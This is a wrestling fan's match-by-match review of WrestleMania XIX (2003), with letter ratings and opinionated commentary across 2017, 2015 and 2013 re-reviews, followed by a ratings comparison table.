Wrestlemania Count-Up – Wrestlemania XIX (2017 Redo): One Of The Great Ones

IMG Credit: WWE

Wrestlemania XIX
Date: March 30, 2003
Location: Safeco Field, Seattle, Washington
Attendance: 54,097
Commentators: Jim Ross, Jerry Lawler, Michael Cole, Tazz

This one is very interesting as the TV leading up to the show has been a cross between boring and really bad, yet the show has one of the best reputations of all time. I’m really curious to see how it goes from such a bad build to such a great show, especially with so much emphasis on Hulk Hogan vs. Vince McMahon. Let’s get to it.

Sunday Night Heat: Raw Tag Team Titles: Rob Van Dam/Kane vs. Lance Storm/Chief Morely

Morely and Storm are defending with Morely acting as the new champion due to William Regal being injured. The Dudleys are on the floor in forced servitude to Morely and Eric Bischoff. Van Dam kicks Morely out to the floor to start and it’s Kane diving onto the champs for a cool visual as we take a break. Back with the champs in control and Morely grabbing a chinlock. The Blue Thunder Bomb gets two as the announcers rip on Morely. The Money Shot misses and it’s off to Kane for the house cleaning.

Storm breaks out of a chokeslam and gets caught in a tilt-a-whirl slam for two. There’s the top rope clothesline for two with Morely making the save, only to eat a jumping kick to the face. The chokeslam looks to set up the Five Star but Rob comes inside before jumping to the top. Morely shoves him off, which makes me think there was some mistiming there. The distraction lets the Dudleys hit a 3D on Storm….and an elbow on Van Dam so the champs can retain the titles.

Rating: D+. That’s certainly how you warm a crowd up. If ever there was a time for an easy title change to give the fans something to cheer for, it should have been this right here. When you consider how soon Kane and Van Dam would get the titles anyway, this really seems like a big head scratcher.

The opening video shows wrestlers getting ready with a collection of voiceovers talking about how important this one night really is. This treats the event with a lot more respect and it’s quite the effective idea. It shows that everyone is in awe of the event itself and makes it feel even bigger.

And now, the theme song Crack Addict. So much for the respect part.

Cruiserweight Title: Rey Mysterio vs. Matt Hardy

Matt, defending here and accompanied by Shannon Moore, is appearing in his fourth Wrestlemania and often wonders how they did Wrestlemania without him. Mysterio is dressed like Daredevil, starting the awesome tradition of dressing like a superhero (most of the time) at Wrestlemania.

Matt is sent outside early on and Rey busts out a corkscrew dive to take both of them down. Rey can’t hit a sunset bomb to the floor so Matt drops him onto the barricade to take over. The Ricochet gets two as Tazz talks about Matt being off the banana juice and moving to tea. The Twist of Fate is countered into a rollup but Matt grabs the Side Effect for two. As Cole talks about loving latex and teabagging (seriously), Matt misses a charge into the post and Rey gets two off a crossbody.

Shannon breaks up the 619 though and now the Twist of Fate gets two. Splash Mountain is loaded up but Rey reverses with a hurricanrana for two more. Shannon makes the save so Rey takes him down before hitting the 619 on Matt. The West Coast Pop is broken up though and Matt grabs a rollup and the rope to retain.

Rating: C+. This was a good choice for an opener as you want something fast paced but don’t want to overstay your welcome. They were in and out in less than six minutes, which is pretty close to the sweet spot for an opener. Mysterio winning probably would have been the better option but at least he didn’t get the title a week later or something like that.

The Miller Lite Catfight Girls are here. I’m with Lance Storm: it’s nonsense that these two got time and the seven minute Tag Team Title match got stuck on Heat.

Nathan Jones was laid out earlier tonight.

Limp Bizkit plays Undertaker to the ring. Again, Tag Team Titles on Heat in a short match but time for this.

Undertaker vs. A-Train/Big Show

A-Train messes with Undertaker’s bike on the way to the ring. If I had a dollar for every time a hairy chested man with nipple piercings adjusted the mirror on my motorcycle….well I’d be poor as I don’t have a motorcycle but the rest happens more often than you would think. Show tries a sneak attack but gets sent to the floor so Undertaker can chokeslam A-Train for two.

Undertaker actually leapfrogs A-Train and drops him with Old School as they’re certainly moving in the early going. A Derailer cuts Undertaker off and Show posts him for good measure. It’s off to Show whose chokeslam is countered into a Fujiwara armbar. A-Train’s save is countered into a cross armbreaker so Show gets to make a save of his own. We hit an abdominal stretch as Cole wants to know if Undertaker’s stamina is going to hold up after such a long layoff due to injury. We’re four minutes into the match and Undertaker has been back from injury for almost TWO AND A HALF MONTHS Cole, you pathetic nitwit.

A-Train puts on an abdominal stretch of his own and Tazz shows how to do his job by suggesting things Undertaker should do to escape/relieve the pressure. I get that they have different jobs but at least Tazz is saying stuff that makes sense and doesn’t sound stupid. A-Train talks trash and throws some punches until Undertaker mostly misses the running DDT (he was barely touching A-Train).

Running corner clotheslines have the monsters in trouble until A-Train gets in the bicycle kick. Show hits his chokeslam but here’s Nathan Jones in the aisle to kick Show’s head off. A-Train takes a big boot from Jones (because the referee doesn’t understand disqualifications) and the Tombstone is enough for the pin.

Rating: C-. Actually not a bad power match here as I can buy the idea of Undertaker holding his own against these two for eight minutes, especially after he’s shown he can beat them both on his own. The fact that Jones couldn’t even be trusted to wait for people to run into his kicks is incredibly telling and pretty much spells the end of his career.

The Catfight Girls meet Stacy Keibler and Torrie Wilson, who are standing around looking at Torrie’s Playboy. As various gorgeous women just do. Stacy has a new marketing campaign idea for them and they all leave together.

We take a quick look at the Tag Team Title match from Heat. Add this to the stuff that could have been cut in exchange of just airing the match.

Women’s Title: Trish Stratus vs. Victoria vs. Jazz

Victoria is defending and it’s one fall to a finish. Jazz jumps the champ from behind to start fast and it’s already time for a modified Muta Lock on Trish. Trish gets knocked outside as Lawler thinks this should turn into a love triangle. Back in and Victoria hits her slingshot legdrop for two on Trish but has to powerslam Jazz for two.

It’s back to Trish as JR tries to figure out why King called her a quarter among pennies. A sitout powerslam gives Jazz two on Trish but it’s time for a fight with her fellow villain. Jazz kicks Victoria down but gets rolled up for two, followed by the Chick Kick for the same. Victoria gets sent outside, leaving Trish to get caught in the STF.

With Victoria distracting the referee, Richards breaks up the hold so Victoria and Trish can trade rollups (with Victoria’s tights being pulled rather low) for two each. Jazz gets knocked outside, leaving Richards to swing a chair but hit the top rope and knock it back into his own head. The Chick Kick to Victoria gives Trish the title back at 7:18.

Rating: C. Not bad at all here as they kept things tight and had everyone moving the entire time, including Richards with the chair to his own head. It made Trish look like the one who survived until the end, though at some point she’s going to have to beat Jazz. You can do that later though as this was all about getting her the title and I’d prefer her to pin the champ than the other challenger.

Rock doesn’t want to hear about the people because they’ve been booing him and calling him a sellout. It’s true that he’s a sellout because he sells out every Wrestlemania he’s in. Rock has lost to Austin twice at Wrestlemania but Hollywood has taught him that the third act is all that matters.

Smackdown Tag Team Titles: Los Guerreros vs. Chris Benoit/Rhyno vs. Team Angle

Team Angle is defending and it’s one fall to a finish. The challenging team both beat on a champ until it settles down to Chavo vs. Haas. A dropkick puts Charlie down and it’s off to Benoit, who runs into an armdrag from Guerrero. Eddie comes in with the slingshot hilo but they ram heads for a double knockdown.

Benoit brings Rhyno in to powerslam Eddie and it’s already off to Benjamin as they’re keeping the pace fast here. A double dropkick gets two on Rhyno but Haas gets taken into the Rhyno corner for a double stomping. Eddie stomps on Rhyno and gets taken into the same corner that Haas got caught in. Benoit catches Eddie on the top with a superplex for two as Benjamin makes the save.

That’s fine with Chris who throws Eddie into the air and pulls him down into the Crossface for a sweet move but Haas makes a save this time. Chavo and Haas come in and everything breaks down. The rolling German suplexes have Chavo in trouble but Benoit walks into a superkick from Benjamin. A legdrop gets two with Eddie dropping a frog splash for the save. Haas suplexes Chavo but turns into the Gore. Chavo eats one as well, only to have Benjamin steal the pin to retain the titles at 8:46.

Rating: B-. I don’t remember liking this one this much but they didn’t stop for the entire match. Benoit and Rhyno are still an odd choice for a tag team but it wouldn’t surprise me if they were setting up for Benoit and Edge in this spot before he got hurt. Team Angle needed this win and that’s the right call out of the three options.

Torrie and Stacy get in a fight over whether Vince or Hulk created Wrestlemania. The Catfight Girls do the same (though one of them keeps calling him Holgan) and agree to settle this in bed.

King is mesmerized.

We recap Shawn Michaels vs. Chris Jericho. Chris seems jealous that Shawn is back and getting attention. He’s wanted to be the next Shawn Michaels but now he wants to be the first Chris Jericho by defeating Shawn at Wrestlemania. This has been a long build but they’ve been smart to wait until here for the match. Shawn accepted the challenge with a superkick and telling Jericho that he would see him at Wrestlemania in a moment I always liked.

Chris Jericho vs. Shawn Michaels

Shawn tries to fire some confetti cannons on the way to the ring but some of them fail to go off, prompting an “eh what are you going to do” look. Jericho on the other hand just looks down at him in disdain in the perfect response. Some early armdrags frustrate Jericho so Shawn lounges on the top rope.

Back up and Shawn kicks him away without too much effort as they’re still firmly in first gear. Jericho is ready for a leapfrog and slaps Shawn in the face, earning himself a right hand to the jaw and a trip to the floor. Back in and Jericho scores with a spinwheel kick but a bulldog is countered with a good crotching. We hit a random Figure Four but Jericho reverses pretty quickly.

They head outside again with Shawn hitting a nice plancha, only to get caught in the Walls in the aisle. The bad back is sent into the post as Jericho has a big target to work with now. Back in and Jericho yells about how he’s better than Shawn as he stays on the back in a variety of ways. We hit the chinlock with a knee in the back before Shawn grabs a DDT to get him out of trouble.

Jericho nips up and hits the forearm into Shawn’s pose, which you just don’t do at Wrestlemania. Shawn makes his comeback (with two nipups of his own) and we hit the pinfall reversal sequence (as required by a classic like this) for a couple of twos each. Jericho is Lionsault for two more before countering a hurricanrana into the Walls. Shawn grabs the rope so Jericho elbows him in the jaw and tunes up the band.

Sweet Chin Music puts Shawn down for two and the fans seemed to buy that as the finish. Shawn teases the Walls but goes with a catapult into the post for two instead. It’s Jericho up first with a belly to back superplex but Shawn reverses into a crossbody in mid-air for yet another near fall.

The top rope elbow gets the same but the real Sweet Chin Music is countered into the Walls again. Just like last time, Shawn grabs the ropes though this time he follows up with more Chin Music for a very delayed two. Both guys are spent so Jericho grabs a belly to back suplex, only to have Shawn flip over and grab a rollup with his legs for the pin at 22:31.

Rating: A. Oh come on like this one needs an explanation. These two were both on fire here and just had an awesome match. It’s the match that made it clear Shawn had more than just a few performances in him as he felt a lot more like the older version here, which is exactly what the match needed to be. Jericho being able to do every athletic thing Shawn could do but not be able to outsmart him is a perfect story in a similar vein to Shawn vs. Shelton Benjamin a few years later. Great match here and one of the best Shawn had in his comeback.

They hug post match but Jericho kicks him low like the heel he is.

The evil referee from Montreal goes to see Vince.

The new attendance record is announced.

Limp Bizkit takes their sweet time performing Crack Addict.

Here are the Catfight Girls to fight on a bed set up on stage. Cue Stacy and Torrie to join in. Girls are stripped, pillows are swung and Coach is pantsed and pinned. Again, World Tag Team Titles not on the show but these girls get like four segments.

We recap HHH vs. Booker T. which focuses on Booker’s criminal past. That’s firmly established before the “someone like you doesn’t deserve to be World Champion” line is made. It’s a better way to go about it but there’s no good way to spin that statement. Basically Booker is fighting for his one big moment and HHH is defending because….well because it’s Wrestlemania and what else is he supposed to do?

Raw World Title: HHH vs. Booker T.

HHH is defending and comes out first for some reason. JR talks about Booker becoming a five time WCW Champion so King says that place was a joke. JR: “How long did you work there?” King: “Never.” JR: “Well I did.” King: “Was it a joke?” JR: “D*** right.” A hard lockup takes them into the corner where they trade chops and some right hands. Booker charges into a boot to the face and HHH goes up top, only to get armdragged down. You would think Flair would have taught him better but if Ric never learned, HHH didn’t need to either.

The announcers bicker over whether or not Booker was born on a pool table which turns into a discussion of Fink being drunk last night. Booker gets sent outside and goes into the steps as the pace slows a lot (yes, in a HHH match). A neckbreaker gets two on Booker and a spinebuster gets the same.

Booker slips out of a suplex and grabs a DDT for his first offense in a long time. The jumping knee and a facebuster cut Booker off but he comes back with a spinebuster. HHH goes up again for some reason and dives into a boot to the face. Seriously they never learn. The scissors kick only hits ropes and Booker falls out to the floor as he was getting dangerously close to beating up HHH and that must be stopped.

Flair sends Booker’s knee into the steps and it’s time for an Indian Deathlock back inside as we flash back to 1974. Back up and the knee is done but Booker grabs a sunset flip for a fast two. A jumping elbow to the jaw puts HHH down again and there’s the ax kick for no cover.

Flair’s distraction has no effect as Booker hits the Houston Hangover, which thankfully isn’t followed up on because the knee gives out again. They stagger to their feet with Booker’s knee preventing him from trying another ax kick. Instead it’s the Pedigree, the completely ridiculous 24 second wait, and then the pin with one hand over Booker’s chest to retain the title at 18:44.

Rating: C+. And there goes Booker’s main event career for the next few years. Aside from being a somewhat boring match, that ending is unforgivable. There’s no reason to not give Booker the title here, even if it’s just until Backlash. The leg stuff at the end was better but this was WAY too much HHH with Booker only having a few hope spots here and there. He didn’t even get the big two count at any point. This was all about HHH establishing that he is the one and only star on Raw no matter what and that’s a major problem. Booker needed this win, or at least anything other than a clean loss.

Long recap of Hulk Hogan vs. Vince McMahon for the show’s real main event. Basically Vince suddenly decided that he hated Hogan for leaving the company ten years ago and testifying against him in the steroids trial so they had to have a fight. This was suddenly elevated to the biggest match of all time despite there not really being a clear reason why Vince started hating Hogan in the first place. If it was mentioned at the start, it was completely bogged down in all the mess that followed. This is at worst the second biggest match on the show and while not surprising, that’s probably not the best idea in the world.

Hulk Hogan vs. Vince McMahon

Street fight and if Hogan loses, he has to retire. Hogan “spears” Vince down because that’s the kind of thing Hogan is known to do. Some slow motion (expect to hear that a lot in this one) right hands have Vince in trouble and Hulk stomps him in the corner. A clothesline gives Vince a breather and he throws those awkward punches. Now it’s off to an armbar because that’s what you want to see from these two in a street fight.

Hogan fights out of the test of strength but Vince is smart enough to kick him in the gut. That’s so effective that they do it three straight times before Vince sends him outside. Hogan gets posted but still manages to avoid a chair shot. Instead it’s Hulk chairing Vince in the head and of course we’ve got some blood (you knew that was coming and you know it’s coming from Hulk too).

More chair shots have Vince reeling, though not enough to knock him out, because Vince is more manly than your average wrestler. Another chair shot hits the Spanish announcer in the head because this match needed additional casualties. Vince low blows him and gets in his own chair shot to draw Hogan’s blood as this is already dragging. And now…..it’s ladder time, which certainly picks things up a bit.

A monitor shot to the head puts Hogan on the table and Vince climbs up, puts his hand to his ear, and drops a leg (which doesn’t hit Hogan but it’s a great visual nonetheless) to destroy the table and freak the crowd out all over again. Vince throws Hogan inside and grabs a pipe from underneath the ring. In the visual of the match, Vince very slowly raises his bloody head over the apron and gives the kind of evil smile that only he can pull off. It’s a great shot too and makes up for a lot of this match.

Hogan hits him low to put both guys down….and here’s Roddy Piper, looking so out of shape that he makes Hogan look great. Piper teases hitting both of them before knocking Hogan out with the pipe (Why this is considered a surprise is beyond me. They’re mortal enemies whose feud was the reason for the first Wrestlemania main event. Why was him attacking Hogan ever in doubt?).

That’s only good for two so Vince beats up the referee, drawing out the evil referee from earlier in the night, along with a regular referee. Vince pipes Hogan again, giving us that flopping around like a fish selling. It’s Hulk Up time with Hulk beating up both Vince and the evil referee. The big boot and three legdrops finish Vince at 20:48.

Rating: C-. I’ve seen this match several times and it’s actually grown on me a lot. The expectations were through the floor coming in and it’s a pretty fun old people brawl. It’s dumb, goofy fun and while it’s WAY too long (you could easily cut eight minutes if not more), it’s one of those matches where you knew what you were getting and that’s exactly what was delivered. Vince’s complete over the top visuals made it even better. It’s not good of course but it’s fun, which is a lot more important for something like this.

Hogan poses as Shane comes out to check on his father. We get a staredown but Hogan seems to understand that he doesn’t have any issues with Shane.

You can already hear Cole’s voice giving out.

We recap Steve Austin vs. The Rock. This is ALL about Rock as Austin is on fumes and it’s not exactly a secret. Basically Rock is ticked off about being booed last year in Toronto and turned into the most amazing heel in the world as a result. The only thing he has left to do in his career is beat Austin at Wrestlemania and this is probably his last chance. This gets the music video treatment but it can only get so far when one person is doing 90% of the work in the feud (not really a criticism of Austin but Rock was just on another planet at this point).

Steve Austin vs. The Rock

Writing that one never gets old. The camera follows Austin from behind in a pretty unique shot which works quite well. They stare each other down to start with Austin hitting the first right hands. The threat of a Stunner sends Rock bailing to the floor so Austin beats him over the announcers’ table and whips him into the steps.

Back in and Austin chokes a bit (that’s somewhat out of character) and gets two off a suplex. Rock gets in a chop block to get a breather with Austin bailing out to the floor. The kicks to the leg have Austin staggering around and Rock wraps the leg around the post. We hit the Sharpshooter with Austin fighting to the ropes as you can really feel the lack of fire in this one.

It’s intense but it’s clear that Austin doesn’t have that high gear anymore. The leg is wrapped around the post again and Rock grabs Austin’s vest. That’s too much for Austin so it’s some bad punches and a double clothesline for another breather. The Thesz press and middle finger elbow get two as Austin is getting some fire going.

A Rock Bottom gives Austin two but Rock comes back with a Stunner. Austin grabs the real thing for two more but Rock cuts him off with a low blow. The vest comes off and the People’s Elbow gets two. The Rock Bottom gets the same, followed by two more to FINALLY put Austin away at 17:55.

Rating: B+. I know there were outside circumstances (Austin spent the previous night in the hospital due to drinking too much alcohol and caffeine) but this would have felt so much bigger as the main event. It’s a very good match and feels big at times but when you have the history that these two have, nothing is going to live up to that standard.

Austin not being able to keep up with Rock was a great way to show that Rock was the better man that night and even with the fire not as hot as before, Austin is still worth seeing at any point. This is another one that’s grown on me and while it might not be as great, it felt important, which is what matters most here.

After thanking Austin for what happened (not audibly but he’s since said that’s what was he was doing), Rock leaves Austin for the big hero’s sendoff. This wasn’t billed as Austin’s farewell but it turned out to be his retirement match. It would have been a great way to close the show, but I get the idea of not wanting that to be the case if Austin couldn’t go. It’s a bit of a disappointment but at least he got the big moment.

We recap Brock Lesnar vs. Kurt Angle. Brock got cheated out of the title at Survivor Series and has gone on a path of destruction to get it back, including winning the Royal Rumble. Angle has used every possible way out of facing him but tonight he’s out of escapes and has nothing left to do but fight. The fact that his neck is being held together by paperclips and duct tape is just a detail because Angle has a low level of sanity. This feels like a major showdown, which is all you can ask for out of the main event of Wrestlemania.

Smackdown World Title: Kurt Angle vs. Brock Lesnar

Lesnar, with bad ribs, is challenging and can win the title via DQ or countout. Angle grabs a front facelock but Brock throws him off and we’re back to a standoff. Kurt’s headlock has about the same effect but he breaks up Brock’s armbar. Lesnar grabs a powerslam, only to get caught in the first German suplex. Brock pops right to his feet though, sending Angle bailing to the floor as they’re not laying into each other just yet.

Back in and a gorilla press (Tazz: “The vanilla gorilla!”) plants Angle, who cuts off a charge with a boot. A German suplex into the corner messes with the ribs again and it’s off to something like an STF from the side. Angle lets go of the legs and switches to something closer to a Bank Statement. Brock won’t tap so Angle suplexes him with ease. That earns him a spinebuster though, which Angle is crazy to take with such a bad neck.

Brock hits his own suplexes but Angle pops up and rolls some German suplexes of his own. Neither finisher can hit so Angle trips him into the ankle lock. Brock grabs the rope….which doesn’t count for no apparent reason. Instead Angle switches to a half crab, followed by a running knee to the back. Brock backdrops him to the floor, again because Angle is freaking nuts.

Back in and the Angle Slam gets two, which Cole says has never happened before. I find that very hard to believe. The F5 gets two more but Kurt gets the ankle lock with a grapevine. Brock manages to drag him over to the ropes for the break, followed by another F5. Instead of covering though, Brock heads up top.

In one of the scariest moments in wrestling history, Brock tries a shooting star press (apparently suggested by Johnny Ace) but leaves it short, landing square on his head and knocking himself completely silly. With his eyes glazed over, Brock hits a third F5 for the pin and the title at 21:09.

Rating: A-. This started off rather slowly but then picked up the pace to become one heck of a hard hitting fight. Angle did everything he could with all the suplexes and left it all in the ring in what might have been his last match. Lesnar did everything he needed to do (save for hitting that shooting star) and if he had nailed the finish, this would go up several notches. It’s a great finish and the kind of main event that Smackdown should have put on at this point. Excellent match.

Lesnar is GONE as he tries to pull himself up.

A long highlight package ends the show.

Overall Rating: A. The more I watch this show, the more I appreciate it. There’s nothing bad on the card with the worst match being either Undertaker vs. Big Show/A-Train or the street fight and even those are watchable. There’s also a great selection of top matches, though HHH vs. Booker leaves a lot to be desired. That being said, Jericho vs. Shawn, Rock vs. Austin and the main event are more than enough to make this a classic.

My main issue is still the same: the show could use a breather between all of the top matches. I could have gone for swapping in say the women’s triple threat or the Smackdown Tag Team Title match in between the street fight and Rock vs. Austin, just for the sake of a little breathing room. The way it’s done is more than fine though and it would only have been improved with a few tweaks.

Overall, it’s one of the best Wrestlemanias ever but I can’t put it above or really near the level of X7. There’s some great stuff here but it’s not enough to top everything that show has to offer. I could easily see this being the second best Wrestlemania of all time (it’s in the top three or four at the absolute worst) and that’s some pretty high levels of quality.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

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Wrestlemania Count-Up – Wrestlemania XIX (2015 Redo): HHH Has To HHH

IMG Credit: WWE

Wrestlemania XIX
Date: March 30, 2003
Location: Safeco Field, Seattle, Washington
Attendance: 54,097
Commentators: Michael Cole, Tazz, Jerry Lawler, Jim Ross

Sunday Night Heat: Raw Tag Team Titles: Kane/Rob Van Dam vs. Lance Storm/Chief Morely

Ashanti sings America the Beautiful.

JR and Lawler are at a table away from ringside as they were every week on Raw.

The aisle is crooked again this year.

Cruiserweight Title: Rey Mysterio vs. Matt Hardy

The Miller Lite catfight girls are here. These are your celebrities for the show as they were good looking women who would argue over various things and then fight over them.

Undertaker vs. A-Train/Big Show

Rating: C. Another not bad match here with Jones doing the only thing he should have been doing. The guy was big and had a great look but at the end of the day you have to be able to do more than stare at someone and throw an awesome spin kick. Undertaker works well against monsters like Show and A-Train as can move better than both of them and the offense is fast enough to work.

Undertaker waves the American flag.

We look back at the tag match on Heat.

Smackdown Tag Team Titles: Chris Benoit/Rhyno vs. Los Guerreros vs. Team Angle

Rating: C+. Another fun match but for a different reason. As was the case on Smackdown at this point, this was all about the action and a fast pace which worked very well, especially given the wrestlers the roster had. This was a nice change from the earlier matches and entertained throughout.

Shawn Michaels vs. Chris Jericho

With nothing else working, Jericho puts on the Walls of Jericho but Shawn is quickly in the ropes. Jericho keeps up the psychology with a backbreaker and keeps up the story of the match with his own Sweet Chin Music for a very close two. With almost nothing else working, Jericho loads up a belly to back superplex but gets countered into a cross body for two of his own.

They shake hands post match but Jericho kicks him low like a real villain.

Crooked referee Sylvan Grenier (who screwed Hogan out of his rematch with Rock the previous month) goes in to see Vince.

The new attendance record is announced.

Wrestlemania XX is in New York.

Raw World Title: Booker T. vs. HHH

Vince McMahon vs. Hulk Hogan

Shane McMahon comes out to check on his dad. Ever the evil loser, Vince flips Hogan off.

The Rock vs. Steve Austin

We recap Angle vs. Lesnar. Brock had lost the title due to Paul Heyman turning on him late last year and Angle took the title from new champion Big Show. Lesnar won the Royal Rumble to get another shot, but Angle is in horrible shape coming into this due to his neck flaring up as well. This is being set up as a major showdown between the most real wrestlers in the company and the intensity is all there.

Smackdown World Title: Kurt Angle vs. Brock Lesnar

The show is still great though and could have been better if they had swapped the card a bit. The five major matches in a row needed to be broken up a little bit, maybe with the Undertaker match moved in between Vince vs. Hogan and Rock vs. Austin, which probably should have gone last. All of the problems (which are minor) aside though, this is still a great show and one of the best Wrestlemanias of all time.

Ratings Comparison

Matt Hardy vs. Rey Mysterio

Original: C-

2013 Redo: C+

2015 Redo: C+

Undertaker vs. A-Train/Big Show

Original: D

2013 Redo: C

2015 Redo: C

Trish Stratus vs. Victoria vs. Jazz

Original: D+

2013 Redo: C

2015 Redo: C+

Los Guerreros vs. Team Angle vs. Chris Benoit/Rhyno

Original: C+

2013 Redo: C

2015 Redo: C+

Chris Jericho vs. Shawn Michaels

Original: A-

2013 Redo: A-

2015 Redo: A

HHH vs. Booker T

Original: C+

2013 Redo: C+

2015 Redo: D+

Hulk Hogan vs. Vince McMahon

Original: B

2013 Redo: D+

2015 Redo: D+

The Rock vs. Steve Austin

Original: B+

2013 Redo: B+

2015 Redo: B+

Kurt Angle vs. Brock Lesnar

Original: A-

2013 Redo: B+

2015 Redo: B+

Overall Rating

Original: B

2013 Redo: A-

2015 Redo: A-

Everything seems about the same here, though that women’s match keeps growing on me.

http://kbwrestlingreviews.com/2011/03/26/history-of-wrestlemania-with-kb-wrestlemania-19-overrated/

And the 2013 Redo:

http://kbwrestlingreviews.com/2013/03/28/wrestlemania-count-up-wrestlemania-xix/

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Wrestlemania Count-Up – Wrestlemania XIX (2013 Redo): The Rattlesnake Rides Away

IMG Credit: WWE

Wrestlemania XIX
Date: March 30, 2003
Location: Safeco Field, Seattle, Washington
Attendance: 54,097
Commentators: Michael Cole, Tazz, Jerry Lawler, Jim Ross

The theme song is called Crack Addict. Needless to say this was never mentioned on TV.

Cruiserweight Title: Rey Mysterio vs. Matt Hardy

The Miller Lite Catfight Girls are here. This would be your celebrity involvement for the year. They were from a series of beer commercials and would argue over various stupid things, in this case which match is bigger: Vince vs. Hogan or Rock vs. Austin III.

Limp Bizkit plays Undertaker to the ring and no one cares. By plays to the ring I mean performs the song until Taker finally comes out.

Undertaker vs. A-Train/Big Show

The Derailer (chokebomb) puts Taker down and Big Show rams him into the post for good measure. Back in and A-Train hits a slingshot into the middle rope for two. Big Show comes in again and all Taker can do is throw desperate right hands. A Big Show chokeslam is countered into a Fujiwara Armbar of all things but A-Train comes in to break it up. Taker throws him in a cross armbreaker but Big Show legdrops him to take control.

Undertaker waves an American flag post match to show how awesome he is.

The Catfight Girls run into Stacy Keibler and Torrie in the back with talk of a new marketing campaign. Next.

Benjamin comes in off a blind tag and superkicks Chris down for two. Eddie tags himself in and collides with Benoit to put both guys down. Shelton comes in to work on Benoit some more and a legdrop gets two. Eddie breaks it up with a Frog Splash but Chavo tags himself in, only to be suplexed down by Haas. Rhyno comes in for some Gores including one to Chavo, but Benjamin comes in (I have no idea if he was legal) and steals the retaining pin on Chavo.

Rating: C. The match was fine but it had no business being on Wrestlemania. This could have been on any given episode of Smackdown and no one would have noticed the difference. Rhyno and Benoit were just thrown together while the Guerreros were a regular team and former champions. Not bad here but not Wrestlemania worthy.

We recap Shawn vs. Jericho. Shawn returned last year and won the world title in a shocker. The two of them started feuding right before the Rumble where they eliminated each other. Jericho wanted to be a wrestler because he wanted to be Shawn Michaels. People started calling him the next HBK, but he wanted to be the first Chris Jericho. Jericho then went insane with the jealousy and obsession with being the best by destroying Shawn with a chair. One night when Jericho was walking through the entrance, Shawn superkicked him and said he would see Jericho at Wrestlemania.

Chris Jericho vs. Shawn Michaels

Back up and Jericho avoids a leapfrog and slaps Shawn in the face. Shawn slaps him right back and avoids a charge, sending Jericho out to the floor. A baseball slide keeps Jericho in trouble but back inside he rolls through a top rope cross body for two. Jericho hits a spinwheel kick to put Shawn down again before sending him into the buckle. Shawn blocks the bulldog though and crotches Jericho in the corner. At least Fozzy will have some higher pitched songs now.

Shawn puts on a Figure Four of all things but Jericho quickly rolls it over. Another attempt at the hold is countered and Jericho sends Shawn shoulder first into the post. Jericho tries to throw him to the floor but Shawn skins the cat into a headscissors to bring Jericho outside with him, followed by a sweet plancha to take Chris down again. Shawn tries a dropkick on the floor, only to be caught in the Walls of Jericho.

Jericho loads up Sweet Chin Music for the final insult and it hits just about perfectly. That only gets two as does a cross body by Shawn. Shawn keeps the thunder stealing theme going by trying the Walls on Jericho but has to opt for a catapult into the corner instead. Jericho comes back with a belly to back superplex attempt but Shawn counters in mid air into a cross body for two.

Michaels goes up again but Jericho kicks the referee into the ropes to crotch Shawn down on the top. Jericho tries a superplex but gets shoved down and hit with the top rope elbow for two. Shawn loads up the Superkick but gets caught in the Walls again. Jericho drags him back to the middle of the ring but Shawn makes it on the second attempt.

A boot to the faces gets two for Shawn as the fans are WAY into this now. Back up and Jericho whips him hard into the corner for a Flair Flip to mess with the back even more. Chris tries a belly to back suplex but Shawn flips over and jumps up into a rolling cradle for the pin out of nowhere on Jericho.

Post match Jericho kicks Shawn low like a real heel.

Sylvan Grenier, a crooked referee, goes in to see Vince.

We get the new attendance record announcement.

Limp Bizkit performs Crack Addict live. Again, not the best use of PPV time to say the least.

Raw World Title: HHH vs. Booker T

HHH is in his manly purple trunks here. They fight into the corner to start with Booker smacking HHH in the face a few times to take over. A backdrop puts HHH down but he comes back with a clothesline. The champion goes up top but just like his mentor, he gets armdragged down with ease. A clothesline puts HHH down for two but Booker goes up and gets knocked down to the floor for his efforts.

Booker gets sent into the announce table as the referee tells HHH to get back in, complete with some very salty language from the referee. Lawler keeps making jokes about Booker being an ex-con as HHH gets two off a neckbreaker. Booker tries to fight back with right hands but gets caught in a spinebuster for two for the champion. A suplex is escaped though and Booker DDTs him down for no cover.

Booker pounds away on HHH before taking him down with a forearm. A spinning variety of said forearm gets two but HHH comes back with his lame sleeper, which was the move he was trying to get over at this point to no avail. The facebuster staggers Booker but he comes back with a quick spinebuster for two. HHH tries going up again but jumps into a jumping superkick for two.

The Harlem Side Kick misses HHH and Booker crashes out to the floor. Flair gets in some shots before sending Booker back in for a freaking Indian Deathlock as we continue the trip back to 1974. Since the hold goes on forever and I have a chance to look at it, the question occurs to me of why does that hold hurt? Their legs are in the exact same positions, so why would it only hurt Booker?

Anyway Booker gets to the rope for the break and we get to the work over the leg to set up the Figure Four because we need to pay tribute to Flair every 18 seconds portion of the match. A rollup out of nowhere gets two for Booker and he counters the Pedigree, only to be kicked into the referee in the corner. Not that it matters as the referee counts a quick two off a rollup anyway.

Wrestlemania 20 is in Madison Square Garden.

We recap Hulk Hogan vs. Vince McMahon. This feud was A MESS as all of a sudden Hogan came back and Vince decided he hated him so they should fight. The problem is Vince never quite made his reasons for suddenly hating Hogan clear other than Vince was nuts. This led to a debate about which of them made Wrestlemania and saying the match was 20 years in the making. Not exactly but when nothing else in the feud makes sense, why should this?

Hulk Hogan vs. Vince McMahon

They head back in, only for Hogan to punch him out to the floor. Another chair shot to the back puts Vince down as does a third. Hogan swings again but knocks out the Spanish announcer by mistake. Vince hits Hogan in his Real American testicles as the slow brawling continues. A chair shot puts Hogan down and Vince pulls out a ladder, making me think this ends badly.

Shane McMahon comes out to check on his father post match. He glares at Hogan but nothing happens. Ok then. Ever the jerk, the bloody Vince flips off Hogan to end things.

We recap Rock vs. Austin III. Austin came back from walking out on the company due to boredom and the newly heel Hollywood Rock wanted to finally beat Austin at Wrestlemania. Do you need much else of a story beyond that?

Steve Austin vs. The Rock

Smackdown World Title: Brock Lesnar vs. Kurt Angle

